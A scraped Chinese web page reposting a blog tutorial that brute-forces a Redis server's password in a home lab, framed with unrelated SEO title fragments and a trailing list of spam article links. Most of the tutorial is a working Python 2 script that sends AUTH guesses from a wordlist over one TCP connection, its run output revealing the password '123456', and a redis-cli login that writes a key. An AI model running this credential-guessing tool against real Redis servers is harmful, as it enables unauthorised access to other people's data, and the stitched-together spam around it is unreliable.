当前位置: 首页 > news >正文

成都建站程序wordpress子域名多站点

成都建站程序,wordpress子域名多站点,网站都是h5响应式,网站卡密代理怎么做血的教训------入侵redis之利用python来破解redis密码 利用强大的python来进行redis的密码破解#xff0c;过程不亦乐乎#xff0c;当然也可以用shell脚本 本篇文章只供学习交流#xff0c;请勿他用#xff0c;谢谢。 其他相关联的文章 [1]VMware安装部署kail镜像服务器【…血的教训------入侵redis之利用python来破解redis密码 利用强大的python来进行redis的密码破解过程不亦乐乎当然也可以用shell脚本 本篇文章只供学习交流请勿他用谢谢。 其他相关联的文章 [1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】 [2]VMware上面安装部署centos7镜像系统【详细含镜像 [3]Centos7上面部署redis [4]血的教训—入侵redis并远程控制你的机器场景复现 这里使用的是kail系统主要原因有两点1、可以吸引下大家2、上面直接就有python不用自己安装当然了咱这用的是python2也可以普通的linux服务器上面也有所以主要的原因就是第一点吧哈哈哈哈 环境需要 操作系统ip描述kail192.168.126.138使用python来进行redis的密码破解centos7192.168.126.129部署redis-server来被破解 直接看python脚本 想这种脚本网上还是比较多的主要是要找到一个可以自己使用的 #!/usr/bin/env python # -*- coding: utf-8 -*-import socket import sysredisCrackFilepasswd.txt #破解密码文件需要单独准备ip192.168.144.128 ###redis-server的ip地址 port6379 ###redis-server的端口 ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) #建立tcp连接 with open(redisCrackFile,r) as f:for i in f:s.send(auth %s %(i)) #在一个tcp连接里多次使用auth命令猜测authResults.recv(1024)if OK in authResult:print the redis pass is:%s %is.close()sys.exit(0)启动redis 如果不知道怎么部署redis请看另一篇文章切记一定要给redis配置密码要不咱破解密码就是个寂寞 [rootlocalhost redis-3.0.4]# cd src/ [rootlocalhost src]# ./redis-server ../redis.conf 66895:M 27 Nov 00:17:24.602 * Increased maximum number of open files to 10032 (it was originally set to 1024)._.__.-__ -.__.- . _. -._ Redis 3.0.4 (00000000/0) 64 bit.- .-. \/ _.,_ -._( , .- | , ) Running in standalone mode|-._-...- __...-.-._| _.-| Port: 6379| -._ ._ / _.- | PID: 66895-._ -._ -./ _.- _.-|-._-._ -.__.- _.-_.-|| -._-._ _.-_.- | http://redis.io-._ -._-.__.-_.- _.-|-._-._ -.__.- _.-_.-|| -._-._ _.-_.- |-._ -._-.__.-_.- _.--._ -.__.- _.--._ _.--.__.-66895:M 27 Nov 00:17:24.604 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128. 66895:M 27 Nov 00:17:24.604 # Server started, Redis version 3.0.4 66895:M 27 Nov 00:17:24.604 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add vm.overcommit_memory 1 to /etc/sysctl.conf and then reboot or run the command sysctl vm.overcommit_memory1 for this to take effect. 66895:M 27 Nov 00:17:24.604 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command echo never /sys/kernel/mm/transparent_hugepage/enabled as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled. 66895:M 27 Nov 00:17:24.604 * The server is now ready to accept connections on port 6379###redis-server已经正常启动启动端口为6379打开kail服务器 启动一个终端 准备passwd.txt密码本 ┌──(liushuai㉿kali)-[~] └─$ ┌──(liushuai㉿kali)-[~] └─$ vim passwd.txt ┌──(liushuai㉿kali)-[~] └─$ cat passwd.txt 1 2 3 4 aadas fdfsd fvsdfgd gfdgdf bdfgdf 123456 123 htrhdf4r3e4 adswerwe ┌──(liushuai㉿kali)-[~] └─$ 如果需要其他的更强大的密码本的话不建议来下面下载哈哈哈 100亿以上精准密码字典 编写python脚本 ┌──(liushuai㉿kali)-[~] └─$ vim redis-stack.py┌──(liushuai㉿kali)-[~] └─$ cat redis-stack.py #!/usr/bin/env python # -*- coding: utf-8 -*-import socket import sysredisCrackFilepasswd.txt #破解密码文件ip192.168.126.129 port6379 ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) #建立tcp连接 with open(redisCrackFile,r) as f:for i in f:s.send(auth %s %(i)) #在一个tcp连接里多次使用auth命令猜测authResults.recv(1024)if OK in authResult:print the redis pass is:%s %is.close()sys.exit(0)┌──(liushuai㉿kali)-[~] └─$ 执行脚本 ┌──(liushuai㉿kali)-[~] └─$ vim redis-stack.py┌──(liushuai㉿kali)-[~] └─$ python2 redis-stack.py the redis pass is:123456┌──(liushuai㉿kali)-[~] └─$ 主要看咱们用的是python2python3执行这个脚本会报错如下 kail默认的python是python3,这个脚本其实就print函数在2和3中有区别2中的print函数不需要(),但是python3中需要print()。这个就是报错的原因如果有兴趣的话可以自己改一下脚本然后再执行以下看看效果 通过上图咱们已经知道了redis的密码为123456 测试连接redis-server 如果要连接redis-server的话我们就得需要一个redis-cli端来进行连接方法有很多中 获取redis-cli的方法建议第二种 1、直接在部署redis-server的服务器上面把redis-cli这个二进制文件复制粘贴到我们的kail就可以使用redis-cli与我们启动redis-server的是在一个目录下面 2、咱的kail上面直接安装部署一个redis,再者安装部署也是非常简答粗暴的 部署redis服务 下载源码包 ┌──(liushuai㉿kali)-[~] └─$ wget https://download.redis.io/releases/redis-3.0.4.tar.gz --2023-11-27 13:40:23-- https://download.redis.io/releases/redis-3.0.4.tar.gz Resolving download.redis.io (download.redis.io)... 45.60.125.1 Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://download.redis.io/releases/redis-3.0.4.tar.gz [following] --2023-11-27 13:40:38-- https://download.redis.io/releases/redis-3.0.4.tar.gz Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1364993 (1.3M) [application/octet-stream] Saving to: ‘redis-3.0.4.tar.gz’redis-3.0.4.tar.gz 100%[] 1.30M 2.52MB/s in 0.5s 2023-11-27 13:40:39 (2.52 MB/s) - ‘redis-3.0.4.tar.gz’ saved [1364993/1364993] 解压源码包 ┌──(liushuai㉿kali)-[~] └─$ tar -xvf redis-3.0.4.tar.gz redis-3.0.4/ redis-3.0.4/.gitignore redis-3.0.4/00-RELEASENOTES redis-3.0.4/BUGS redis-3.0.4/CONTRIBUTING redis-3.0.4/COPYING redis-3.0.4/INSTALL redis-3.0.4/MANIFESTO redis-3.0.4/Makefile redis-3.0.4/README redis-3.0.4/deps/ redis-3.0.4/deps/Makefile redis-3.0.4/deps/hiredis/ redis-3.0.4/deps/hiredis/.gitignore redis-3.0.4/deps/hiredis/.travis.yml redis-3.0.4/deps/hiredis/CHANGELOG.md redis-3.0.4/deps/hiredis/COPYING redis-3.0.4/deps/hiredis/Makefile ********省略好多********************** redis-3.0.4/utils/lru/ redis-3.0.4/utils/lru/README redis-3.0.4/utils/lru/test-lru.rb redis-3.0.4/utils/mkrelease.sh redis-3.0.4/utils/redis-copy.rb redis-3.0.4/utils/redis-sha1.rb redis-3.0.4/utils/redis_init_script redis-3.0.4/utils/redis_init_script.tpl redis-3.0.4/utils/speed-regression.tcl redis-3.0.4/utils/whatisdoing.sh进行编译 ──(liushuai㉿kali)-[~] └─$ cd redis-3.0.4 ┌──(liushuai㉿kali)-[~/redis-3.0.4] └─$ make make install cd src make all make[1]: Entering directory /home/liushuai/redis-3.0.4/src rm -rf redis-server redis-sentinel redis-cli redis-benchmark redis-check-dump redis-check-aof *.o *.gcda *.gcno *.gcov redis.info lcov-html (cd ../deps make distclean) make[2]: Entering directory /home/liushuai/redis-3.0.4/deps (cd hiredis make clean) /dev/null || true (cd linenoise make clean) /dev/null || true (cd lua make clean) /dev/null || true (cd jemalloc [ -f Makefile ] make distclean) /dev/null || true (rm -f .make-*) make[2]: Leaving directory /home/liushuai/redis-3.0.4/deps (rm -f .make-*) echo STD-stdc99 -pedantic .make-settings echo WARN-Wall -W .make-settings echo OPT-O2 .make-settings echo MALLOCjemalloc .make-settings echo CFLAGS .make-settings echo LDFLAGS .make-settings echo REDIS_CFLAGS .make-settings echo REDIS_LDFLAGS .make-settings echo PREV_FINAL_CFLAGS-stdc99 -pedantic -Wall -W -O2 -g -ggdb -I../deps/hiredis -I../deps/linenoise -I../deps/lua/src -DUSE_JEMALLOC -I../deps/jemalloc/include .make-settings echo PREV_FINAL_LDFLAGS -g -ggdb -rdynamic .make-settings (cd ../deps make hiredis linenoise lua jemalloc) make[2]: Entering directory /home/liushuai/redis-3.0.4/deps (cd hiredis make clean) /dev/null || true (cd linenoise make clean) /dev/null || true *****************省略好多********************* redis-check-aof.c:141:9: note: in expansion of macro ‘ERROR’141 | ERROR(Reached EOF before reading EXEC for MULTI);| ^~~~~LINK redis-check-aofHint: Its a good idea to run make test ;)make[1]: Leaving directory /home/liushuai/redis-3.0.4/src cd src make install make[1]: Entering directory /home/liushuai/redis-3.0.4/srcHint: Its a good idea to run make test ;)INSTALL install install: cannot create regular file /usr/local/bin/redis-server: Permission denied make[1]: *** [Makefile:249: install] Error 1 make[1]: Leaving directory /home/liushuai/redis-3.0.4/src make: *** [Makefile:9: install] Error 2 ####发现有报错但是我们不管他因为这个不是我们主要要的 ##我们主要要的是redis-cli这个命令 ┌──(liushuai㉿kali)-[~/redis-3.0.4] └─$ cd src ┌──(liushuai㉿kali)-[~/redis-3.0.4/src] └─$ ll redis-cli -rwxr-xr-x 1 liushuai liushuai 2034704 Nov 27 13:47 redis-cli ###看见这个二进制文件已经存在我们测试下可以正常使用不 测试连接 ┌──(liushuai㉿kali)-[~/redis-3.0.4/src] └─$ ./redis-cli -h 192.168.126.129 -p 6379 -a 123456 192.168.126.129:6379 set a 6 OK 192.168.126.129:6379 get a 6 192.168.126.129:6379 经过测试密码已经破解出来并且可以正常连接redis-server 结束语 努力肯定很累但是一定很快乐 可以看看其他相关联的文章 [1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】 [2]VMware上面安装部署centos7镜像系统【详细含镜像 [3]Centos7上面部署redis [4]血的教训—入侵redis并远程控制你的机器场景复现
http://www.zqtcl.cn/news/496706/

相关文章:

  • asp源代码网站网络架构图是什么
  • 专业做淘宝网站公司吗苏州网站制作开发
  • 电商网站模板html安阳历史
  • seo快速排名多少钱安阳网站怎么优化
  • 如何在网站后台删除栏目阿里巴巴上做网站要多少钱
  • 网站建设意识形态工作河北省两学一做网站
  • 綦江建站哪家正规php做不了大型网站吗
  • 优秀的设计网站青岛网站设计企业
  • 谁有做爰网站号wordpress 4.8 中文
  • 毕业设计做网站用什么广州中智软件开发有限公司
  • 哪个网站不花钱可以做招聘wordpress没有页脚
  • 免费视频网站素材网络系统管理技能大赛
  • 聊天网站建设网站建设毕业设计评价
  • 网站建设 内容缺乏域名备案要多久
  • 产品展示型网站建设全国新冠疫苗接种率
  • 网站建设商如何自建商城和电商平台
  • 深圳做二类学分的网站开发一平方米多少钱
  • 如何做原创小说网站建一个o2o网站
  • 东莞市住房建设网站互动科技 网站建设
  • 淄博网站建设高端网络seo线上培训多少钱
  • s网站优化工地模板图片
  • 手机网站使用微信支付神级网页设计网站
  • 网站建站大约多少钱如何引流被动加好友
  • 哪些网站可以查企业信息大城县有做网站的吗
  • 上海网站建设电影联wordpress 分类title
  • 杭州网站建设招标免费seo排名优化
  • 网站建设服务费是否无形资产百度一下你就知道官网下载安装
  • 网站付款链接怎么做在线设计商标logo
  • 阿里巴巴做网站多少钱特大新闻凌晨刚刚发生
  • 网站如何做se设计师网站pintset